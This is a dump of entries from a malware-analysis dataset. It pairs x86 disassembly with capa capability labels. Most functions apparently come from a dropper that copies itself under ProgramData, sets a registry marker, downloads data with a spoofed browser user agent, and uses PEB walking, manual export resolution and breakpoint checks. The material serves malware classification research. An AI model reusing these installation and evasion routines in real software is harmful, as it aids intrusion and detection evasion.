joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x54]
push ebx
push esi
push edi
mov ebx, eax
mov esi, edx
mov edi, ecx
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040be70
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.0040be70
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
test edi, edi
jne 0x4017d7
mov edi, 0x4142f0
push edi
push 0
push 0x8000000
push 0
push 0
push 0
test esi, esi
jne 0x4017ee
mov esi, 0x4142f0
push esi
mov eax, ebx
test ebx, ebx
jne 0x4017fa
mov eax, 0x4142f0
push eax
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
call sub.kernel32.dll_CloseHandle
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4019a0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x8c]
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov eax, 1
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x18]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401ad8
mov eax, dword [ebp - 4]
mov edx, 0
call fcn.004039e0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4019f4
mov eax, dword [eax - 4]
add eax, 1
mov dword [ebp - 8], eax
test eax, eax
je 0x401ad8
mov eax, 1
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x40]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401a90
mov eax, dword [ebp - 8]
sub eax, 1
mov ebx, eax
mov dword [ebp - 0xc], 0
cmp ebx, dword [ebp - 0xc]
jb 0x401a90
sub dword [ebp - 0xc], 1
lea esi, [esi]
add dword [ebp - 0xc], 1
push 0
lea eax, [ebp - 0x64]
call fcn.004032a0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
lea eax, [eax + edx*4]
lea ecx, [ebp - 0x64]
mov edx, dword [eax]
test edx, edx
jne 0x401a5d
mov edx, 0x4142f0
mov eax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:59.0__Gecko_20100101_Firefox_59.0
test eax, eax
jne 0x401a6b
mov eax, 0x4142f0
call fcn.0040d740
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.0040c930
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
mov eax, dword [ebp - 4]
call fcn.00403ae0
cmp ebx, dword [ebp - 0xc]
ja 0x401a38
call fcn.004062b0
pop eax
test eax, eax
je 0x401ad8
mov eax, 1
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0x70]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401ac4
mov eax, dword [ebp - 4]
mov edx, 0
call fcn.004039e0
call fcn.004062b0
pop eax
test eax, eax
je 0x401ad3
call fcn.00406490
call fcn.00406480
call fcn.004062b0
lea eax, [ebp - 0x64]
call fcn.004032a0
lea eax, [ebp - 0x60]
call fcn.004032a0
pop eax
test eax, eax
je 0x401af7
call fcn.004063e0
pop ebx
leave
ret 4
Function at 0x401cd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x50]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov eax, 1
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x18]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x401e47
push 0
lea edx, [ebp - 0x48]
mov eax, 0
call fcn.0040ced0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, str.ProgramDataMicrosoft_
mov dword [ebp - 0x40], eax
mov eax, 5
call fcn.00406c30
add eax, 6
lea ecx, [ebp - 0x4c]
mov edx, 0x4121f8
call fcn.0040d2a0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, 0x412244
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x44]
lea eax, [ebp - 4]
mov ecx, 3
call fcn.00403d50
push 0
mov eax, 0x412254
mov dword [ebp - 0x40], eax
mov eax, 5
call fcn.00406c30
add eax, 6
lea ecx, [ebp - 0x4c]
mov edx, 0x4121f8
call fcn.0040d2a0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
mov eax, str..exe
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x40]
lea eax, [ebp - 8]
mov ecx, 2
call fcn.00403d50
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [ebp - 0xc]
call fcn.00403ae0
lea eax, [ebp - 0x50]
call fcn.004032a0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x50]
call fcn.004039e0
mov eax, dword [ebp - 0x50]
call fcn.0040cea0
test al, al
jne 0x401e13
lea eax, [ebp - 0x50]
call fcn.004032a0
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x50]
call fcn.004039e0
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x401e06
mov eax, 0x4142f0
push eax
call sub.kernel32.dll_CreateDirectoryA
or eax, eax
setne dl
mov al, dl
mov eax, dword [ebp - 0xc]
call fcn.00401ba0
test al, al
je 0x401e47
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
call fcn.004017a0
mov eax, str.yeah
push eax
mov ecx, str.coreinstalled2
mov edx, str.SOFTWAREMicrosoft
mov eax, 0x80000002
call fcn.004016d0
call fcn.004062b0
lea eax, [ebp - 0x50]
call fcn.004032a0
lea eax, [ebp - 0x4c]
call fcn.004032a0
lea eax, [ebp - 0x48]
call fcn.004032a0
lea eax, [ebp - 4]
call fcn.004032a0
lea eax, [ebp - 8]
call fcn.004032a0
lea eax, [ebp - 0xc]
call fcn.004032a0
pop eax
test eax, eax
je 0x401e86
call fcn.004063e0
leave
ret

Function at 0x401f10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x54]
push ebx
push esi
mov ebx, eax
mov esi, edx
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040be70
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.0040be70
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
test esi, esi
jne 0x401f50
mov esi, 0x4142f0
push esi
mov eax, ebx
test ebx, ebx
jne 0x401f5c
mov eax, 0x4142f0
push eax
call sub.kernel32.dll_CreateProcessA
push dword [ebp - 0x50]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
call sub.kernel32.dll_CloseHandle
pop esi
pop ebx
leave
ret
Function at 0x402110
Capabilities:
Copy file
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x3c]
push ebx
push esi
push edi
mov edi, eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov eax, 1
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x14]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x4022cc
lea eax, [ebp - 0x34]
call fcn.004032a0
mov edx, dword [edi + 4]
lea eax, [ebp - 0x34]
call fcn.004039e0
lea eax, [ebp - 0x38]
call fcn.004032a0
mov edx, dword [edi]
lea eax, [ebp - 0x38]
call fcn.004039e0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40218e
mov eax, 0x4142f0
push eax
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40219b
mov eax, 0x4142f0
push eax
call sub.kernel32.dll_MoveFileA
or eax, eax
setne dl
mov al, dl
lea eax, [ebp - 0x38]
call fcn.004032a0
mov eax, dword [edi]
test eax, eax
jne 0x4021bb
mov eax, 0x4142f0
lea ecx, [ebp - 0x34]
mov dx, 0
call fcn.004042d0
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x38]
call fcn.004039e0
lea eax, [ebp - 0x34]
call fcn.004032a0
mov eax, dword [edi + 4]
test eax, eax
jne 0x4021e6
mov eax, 0x4142f0
lea ecx, [ebp - 0x3c]
mov dx, 0
call fcn.004042d0
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
call fcn.004039e0
push 0xffffffffffffffff
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40220b
mov eax, 0x4142f0
push eax
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x402218
mov eax, 0x4142f0
push eax
call sub.kernel32.dll_CopyFileA
or eax, eax
setne dl
mov al, dl
mov eax, dword [edi]
lea edx, [ebp - 0x3c]
call fcn.0040cc10
mov edx, dword [ebp - 0x3c]
lea eax, [ebp - 4]
call fcn.004039e0
lea eax, [ebp - 4]
call fcn.00402090
lea eax, [ebp - 4]
call fcn.0040fea0
mov edx, dword [edi]
lea eax, [ebp - 8]
call fcn.004039e0
call fcn.0040a440
test eax, eax
jle 0x4022ab
call fcn.0040a440
mov ebx, eax
mov esi, 1
cmp ebx, esi
jb 0x4022ab
sub esi, 1
add esi, 1
push 0
lea eax, [ebp - 0x3c]
call fcn.004032a0
push 0
lea edx, [ebp - 0x38]
mov eax, esi
call fcn.0040b1d0
mov ecx, dword [ebp - 0x38]
mov edx, 0x41228c
lea eax, [ebp - 0x3c]
call fcn.00403ae0
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 8]
lea eax, [ebp - 8]
call fcn.00403ae0
cmp ebx, esi
ja 0x402270
mov eax, dword [edi]
mov edx, dword [ebp - 4]
call fcn.0040cd00
mov eax, dword [edi]
mov edx, dword [ebp - 8]
call fcn.00401f10
push 0
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
call fcn.004062b0
lea eax, [ebp - 0x3c]
call fcn.004032a0
lea eax, [ebp - 0x38]
call fcn.004032a0
lea eax, [ebp - 0x34]
call fcn.004032a0
lea eax, [ebp - 4]
call fcn.004032a0
lea eax, [ebp - 8]
call fcn.004032a0
pop eax
test eax, eax
je 0x402303
call fcn.004063e0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406a60
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x414350], eax
mov ecx, 1
sub ecx, 1
lea esi, [esi]
add ecx, 1
mov edx, dword [ecx*4 + 0x41434c]
mov eax, edx
shr eax, 0x1e
xor edx, eax
imul eax, edx, 0x6c078965
lea eax, [eax + ecx]
mov dword [ecx*4 + 0x414350], eax
cmp ecx, 0x26f
jl 0x406a70
mov dword [0x411430], 0x270
ret
Function at 0x406ab0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, dword [0x413010]
cmp eax, dword [0x4113e0]
je 0x406ac8
mov dword [0x411430], 0x271
cmp dword [0x411430], 0x270
jl 0x406be7
cmp dword [0x411430], 0x271
jne 0x406aff
mov eax, dword [0x413010]
call fcn.00406a60
mov eax, dword [0x413010]
not eax
mov dword [0x413010], eax
mov dword [0x4113e0], eax
mov ebx, 0
sub ebx, 1
nop
add ebx, 1
mov eax, dword [ebx*4 + 0x414354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x414350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x414984]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x411440]
xor edx, eax
mov dword [ebx*4 + 0x414350], edx
cmp ebx, 0xe2
jl 0x406b08
mov ebx, 0xe3
sub ebx, 1
mov esi, esi
add ebx, 1
mov eax, dword [ebx*4 + 0x414354]
and eax, 0x7fffffff
mov edx, dword [ebx*4 + 0x414350]
and edx, 0x80000000
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [ebx*4 + 0x413fc4]
xor eax, edx
mov edx, ecx
and edx, 1
mov edx, dword [edx*4 + 0x411440]
xor edx, eax
mov dword [ebx*4 + 0x414350], edx
cmp ebx, 0x26e
jl 0x406b5c
mov eax, dword [0x414d0c]
and eax, 0x80000000
mov edx, dword [0x414350]
and edx, 0x7fffffff
or edx, eax
mov ecx, edx
mov eax, ecx
shr eax, 1
mov edx, dword [0x414980]
xor edx, eax
and ecx, 1
mov eax, dword [ecx*4 + 0x411440]
xor eax, edx
mov dword [0x414d0c], eax
mov dword [0x411430], 0
mov eax, dword [0x411430]
mov eax, dword [eax*4 + 0x414350]
add dword [0x411430], 1
mov edx, eax
shr edx, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor eax, edx
mov edx, eax
shl edx, 0xf
and edx, 0xefc60000
xor eax, edx
mov edx, eax
shr edx, 0x12
xor eax, edx
pop ebx
ret

Function at 0x408450
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x411190]
cmp ax, 0xcb
je 0x40854c
cmp ax, 0xcc
je 0x40854c
mov edx, dword [0x414f60]
test edx, edx
je 0x408482
mov eax, dword [0x414e00]
call edx
mov ebx, eax
jmp 0x408487
mov ebx, 0x414e04
cmp word [0x414df0], 0
jle 0x4084aa
mov eax, 0x414dd0
call fcn.004086c0
mov eax, ebx
call fcn.00408030
mov eax, ebx
call fcn.004080a0
mov edi, dword [ebx]
jmp 0x4084ca
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x4084c5
mov edx, edi
mov eax, ebx
call fcn.00407500
jmp 0x4084c8
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x4084b0
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x414df0], 0
jle 0x40854c
mov edx, 0x414d10
mov eax, ebx
call fcn.00407630
mov edi, eax
test edi, edi
je 0x40851f
mov eax, dword [0x414da4]
mov dword [edi + 0xc], eax
cmp dword [0x414da4], 0
je 0x408514
mov eax, dword [0x414da4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x414da4], eax
sub word [0x414df0], 1
cmp word [0x414df0], 0
sete bl
mov eax, 0x414dd0
call fcn.004086d0
test bl, bl
je 0x40854c
mov eax, 0x414dd0
call fcn.004086b0
pop edi
pop esi
pop ebx
ret
Function at 0x40a1e0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x114], 0
mov dword [0x414250], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov eax, ebp
mov edx, 0
call fcn.0040a3c0
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x414250]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.00402d90
call sub.kernel32.dll_GetCommandLineA
mov dword [0x411200], eax
mov esi, dword [0x411200]
jmp 0x40a380
add esi, 1
movzx eax, byte [esi]
sub eax, 1
cmp eax, 0x20
jb 0x40a270
cmp byte [esi], 0
je 0x40a389
mov byte [ebp - 0x10c], 0
mov edi, esi
mov dword [ebp - 0x110], 0
jmp 0x40a2e5
mov al, byte [esi]
cmp al, 1
jb 0x40a2db
sub al, 0x20
jbe 0x40a2ac
sub al, 2
je 0x40a2bf
jmp 0x40a2db
mov al, byte [ebp - 0x10c]
test al, al
je 0x40a2ea
add dword [ebp - 0x110], 1
jmp 0x40a2e2
cmp byte [esi + 1], 0x22
je 0x40a2d6
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x40a2e2
add esi, 1
jmp 0x40a2e2
add dword [ebp - 0x110], 1
add esi, 1
cmp byte [esi], 0
jne 0x40a29c
test dword [ebp - 0x114], 0xffffffff
je 0x40a379
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
mov eax, ebp
call fcn.0040a3c0
mov byte [ebp - 0x10c], 0
mov esi, edi
mov eax, dword [0x414250]
mov edx, dword [ebp - 0x114]
mov ebx, dword [eax + edx*4]
jmp 0x40a371
mov al, byte [esi]
cmp al, 1
jb 0x40a367
sub al, 0x20
jbe 0x40a338
sub al, 2
je 0x40a34b
jmp 0x40a367
mov al, byte [ebp - 0x10c]
test al, al
je 0x40a376
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
jmp 0x40a36e
cmp byte [esi + 1], 0x22
je 0x40a362
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x40a36e
add esi, 1
jmp 0x40a36e
mov al, byte [esi]
mov byte [ebx], al
add ebx, 1
add esi, 1
cmp byte [esi], 0
jne 0x40a328
mov byte [ebx], 0
add dword [ebp - 0x114], 1
cmp byte [esi], 0
jne 0x40a273
mov ebx, dword [ebp - 0x114]
mov dword [0x414240], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x414250
call fcn.004082b0
mov eax, dword [0x414250]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b5f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 8], eax
mov esi, esi
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040b5b0
test al, al
jne 0x40b627
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x40b608
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40b630
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
push edi
push ebp
lea esp, [esp - 0x48]
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], ecx
mov dword [esp + 0x3c], eax
mov edx, dword [eax + 0x3c]
mov ecx, dword [esp + 0x3c]
lea eax, [edx + ecx]
mov eax, dword [eax + 0x78]
mov edx, dword [esp + 0x3c]
lea esi, [eax + edx]
mov edi, esp
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1c]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x20]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x24]
add eax, dword [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov byte [esp + 0x34], 0
call fcn.0040b2f0
mov dword [esp + 0x28], eax
call fcn.0040b320
mov ebp, eax
mov eax, dword [esp + 0x18]
sub eax, 1
mov edi, eax
mov esi, 0
cmp edi, esi
jb 0x40b73a
sub esi, 1
nop
add esi, 1
mov eax, esi
shl eax, 2
add eax, dword [esp + 0x30]
mov eax, dword [eax]
add eax, dword [esp + 0x3c]
mov ebx, eax
mov edx, ebx
mov eax, ebp
call fcn.0040b580
test al, al
je 0x40b6fc
mov eax, esi
shl eax, 1
add eax, dword [esp + 0x2c]
movzx eax, word [eax]
shl eax, 2
add eax, dword [esp + 0x38]
mov eax, dword [eax]
mov edx, dword [esp + 0x40]
mov dword [edx], eax
mov al, byte [esp + 0x34]
test al, al
jne 0x40b73a
mov byte [esp + 0x34], 1
mov edx, ebx
mov eax, dword [esp + 0x28]
call fcn.0040b580
test al, al
je 0x40b732
mov eax, esi
shl eax, 1
add eax, dword [esp + 0x2c]
movzx eax, word [eax]
shl eax, 2
add eax, dword [esp + 0x38]
mov eax, dword [eax]
mov edx, dword [esp + 0x44]
mov dword [edx], eax
mov al, byte [esp + 0x34]
test al, al
jne 0x40b73a
mov byte [esp + 0x34], 1
cmp edi, esi
ja 0x40b6b4
lea esp, [esp + 0x48]
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40bb70
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x7c]
push ebx
push esi
push edi
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], pe_nt_image_headers32
mov dword [ebp - 0xc], 0x20
mov dword [ebp - 8], 0x40
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], eax
mov edx, dword [eax + 0x30]
mov eax, dword [ecx + 0x3c]
lea eax, [edx + eax]
movzx edx, word [eax + 6]
add eax, 0xf8
mov dword [ebp - 0x74], eax
lea eax, [edx - 1]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
jb 0x40bcf5
sub dword [ebp - 0x6c], 1
lea esi, [esi]
add dword [ebp - 0x6c], 1
imul eax, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x74]
lea esi, [eax + edx]
lea edi, [ebp - 0x4c]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x7c]
or edx, eax
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], eax
test dword [ebp - 0x50], 0xffffffff
je 0x40bce9
mov ebx, dword [ebp - 0x28]
mov eax, ebx
and eax, 0x2000000
je 0x40bc4c
push 0x4000
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 8]
jmp 0x40bce9
mov eax, ebx
and eax, 0x20000000
je 0x40bc5e
mov dword [ebp - 0x68], 1
jmp 0x40bc65
mov dword [ebp - 0x68], 0
mov eax, ebx
and eax, 0x40000000
je 0x40bc77
mov dword [ebp - 0x64], 1
jmp 0x40bc7e
mov dword [ebp - 0x64], 0
mov eax, ebx
and eax, 0x80000000
je 0x40bc90
mov dword [ebp - 0x60], 1
jmp 0x40bc97
mov dword [ebp - 0x60], 0
mov eax, ebx
and eax, 0x4000000
je 0x40bca9
mov dword [ebp - 0x5c], 1
jmp 0x40bcb0
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x68]
shl eax, 4
lea eax, [ebp + eax - 0x24]
mov edx, dword [ebp - 0x64]
lea ecx, [eax + edx*8]
mov eax, dword [ebp - 0x60]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x5c], 1
jne 0x40bcd6
or dword [ebp - 0x54], 0x200
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
push dword [ebp - 0x58]
mov esi, dword [ebp - 0x78]
call dword [esi + 4]
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x6c]
ja 0x40bbf4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40cea0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
test eax, eax
jne 0x40ceac
mov eax, 0x4142f0
push eax
call 0x4013e0
cmp eax, 0xffffffff
je 0x40cec0
and eax, 0x10
jbe 0x40cec0
mov al, 1
jmp 0x40cec2
mov al, 0
leave
ret
Function at 0x40d740
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x1408]
mov dword [esp + 0x40c], eax
push eax
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x140c], 0
mov dword [ebp - 0x1408], 0
mov dword [ebp - 0x1404], 0
mov dword [ebp - 0x1400], 0
mov dword [ebp - 0x13fc], 0
mov dword [ebp - 0x13f8], 0
mov eax, 1
lea edx, [ebp - 0x13c8]
lea ecx, [ebp - 0x13b0]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x40d917
mov eax, dword [ebp - 0xc]
mov edx, 0
call fcn.004039e0
mov eax, 1
lea edx, [ebp - 0x13f0]
lea ecx, [ebp - 0x13d8]
call fcn.00406030
call fcn.00407300
push eax
test eax, eax
jne 0x40d8ee
push 0
push 0
push 0
push 0
push dword [ebp - 4]
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x10], eax
push 0
push 0x80000000
push 0
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x14], eax
lea esi, [esi]
lea eax, [ebp - 0x13a4]
push eax
push 0x1389
lea eax, [ebp - 0x13a0]
push eax
push dword [ebp - 0x14]
call sub.wininet.dll_InternetReadFile
test eax, eax
je 0x40d912
lea eax, [ebp - 0x13fc]
call fcn.00404dd0
lea eax, [ebp - 0x1404]
push eax
push 1
lea eax, [ebp - 0x1408]
push eax
lea eax, [ebp - 0x13a0]
mov cx, 0
mov edx, 0x1388
call fcn.00404370
mov eax, dword [ebp - 0x1408]
mov ecx, dword [ebp - 0x13a4]
mov edx, 1
call fcn.00404750
mov eax, dword [ebp - 0x1404]
lea edx, [ebp - 0x1400]
call fcn.004059a0
mov ebx, dword [ebp - 0x1400]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
lea edx, [ebp - 0x140c]
call fcn.00404ec0
mov edx, dword [ebp - 0x140c]
lea eax, [ebp - 0x13fc]
mov ecx, ebx
call fcn.00404f70
mov eax, dword [ebp - 0x13fc]
lea ecx, [ebp - 0x13f8]
mov dx, 0
call fcn.00404e50
mov edx, dword [ebp - 0x13f8]
mov eax, dword [ebp - 0xc]
call fcn.004039e0
cmp dword [ebp - 0x13a4], 0
jne 0x40d81c
call fcn.004062b0
push dword [ebp - 0x10]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 0x14]
call sub.wininet.dll_InternetCloseHandle
pop eax
test eax, eax
je 0x40d917
cmp eax, 2
je 0x40d917
call fcn.004063e0
pop eax
push 2
jmp 0x40d8ee
call fcn.004062b0
lea eax, [ebp - 0x140c]
call fcn.00404dd0
lea eax, [ebp - 0x1408]
call fcn.004032a0
lea eax, [ebp - 0x1404]
call fcn.004032a0
lea eax, [ebp - 0x1400]
call fcn.00404dd0
lea eax, [ebp - 0x13fc]
call fcn.00404dd0
lea eax, [ebp - 0x13f8]
call fcn.004032a0
pop eax
test eax, eax
je 0x40d968
call fcn.004063e0
pop ebx
leave
ret
Function at 0x402a40
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d16a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9cc
push esi
push edi
mov edi, ecx
call fcn.004290cc
push 0x409
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0x409
call dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
push 0xc
call fcn.0042ad45
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 0
test eax, eax
je 0x402aa0
mov ecx, eax
call fcn.0042bb56
mov esi, eax
jmp 0x402aa2
xor esi, esi
push 0x58e4e0
mov dword [ebp - 4], 0xffffffff
call fcn.0042534e
push str.Local_AppWizard_Generated_Applications
mov ecx, edi
call fcn.0042a0bb
push 0x5c31e0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402b30
push 0
lea eax, [edi + 0xcc]
push eax
lea eax, [edi + 0xdc]
push eax
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
lea ecx, [ebp - 0x9d8]
call fcn.004070b0
lea eax, [ebp - 0x9d8]
mov dword [ebp - 4], 1
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.0042b36c
test esi, esi
je 0x402b20
mov eax, dword [esi]
mov ecx, esi
push 1
call dword [eax + 4]
call fcn.0042da44
lea ecx, [ebp - 0x9d8]
call fcn.004074d0
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x402e60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x402e89
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402e9f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x402e96
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x402ed2
nop
cmp esi, ecx
jae 0x402e96
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x402ec0
cmp esi, ecx
jae 0x402e96
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x403160
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
